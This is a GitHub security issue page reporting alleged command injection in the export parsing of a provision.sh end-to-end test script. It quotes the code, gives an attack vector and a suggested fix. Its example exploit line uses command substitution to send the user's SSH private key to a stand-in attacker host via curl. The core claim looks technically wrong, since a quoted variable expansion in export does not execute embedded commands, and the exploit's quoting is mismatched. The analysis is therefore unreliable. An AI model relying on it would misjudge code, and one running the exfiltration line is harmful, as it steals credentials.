Skip to content

security: Command injection via cloud_headless_env export parsing in provision.sh #3075

@louisgv

Description

@louisgv

Location

sh/e2e/lib/provision.sh lines 60-62

Vulnerability

The export parsing logic uses regex capture groups without sanitizing the captured values:

if [[ "${_env_line}" =~ ^export[[:space:]]+([A-Za-z_][A-Za-z0-9_]*)=\"(.*)\"$ ]]; then
  export "${BASH_REMATCH[1]}"="${BASH_REMATCH[2]}"
fi

The regex captures everything after =" including unescaped shell metacharacters. If a cloud driver's cloud_headless_env function outputs malicious content (e.g., via a compromised cloud API response or MITM attack), this could execute arbitrary commands.

Attack Vector

  1. Compromised cloud API returns malicious droplet metadata
  2. Cloud driver's cloud_headless_env function incorporates this into env var values
  3. The regex captures the malicious content into BASH_REMATCH[2]
  4. The export statement evaluates the malicious content

Example Exploit

export DO_DROPLET_NAME="foo\$(curl attacker.com/exfil?data=\$(cat ~/.ssh/id_rsa))\"

This would be captured and exported, executing the embedded command substitution.

Recommended Fix

Use a safe parsing approach that doesn't evaluate captured content:

# Read key=value pairs without shell evaluation
while IFS='=' read -r key value; do
  # Strip 'export ' prefix
  key=${key#export }
  key=${key## }  # trim leading spaces
  # Strip surrounding quotes from value
  value=${value#\"}
  value=${value%\"}
  export "$key"="$value"
done <<CLOUD_ENV
$(cloud_headless_env "${app_name}" "${agent}")
CLOUD_ENV

Severity

CRITICAL - Remote code execution in E2E test infrastructure if cloud APIs are compromised.

Metadata

Metadata

Assignees

No one assigned

    Labels

    in-progressIssue is being actively worked onsafe-to-workSecurity triage: safe for automated processingsecuritySecurity vulnerabilities and concerns

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions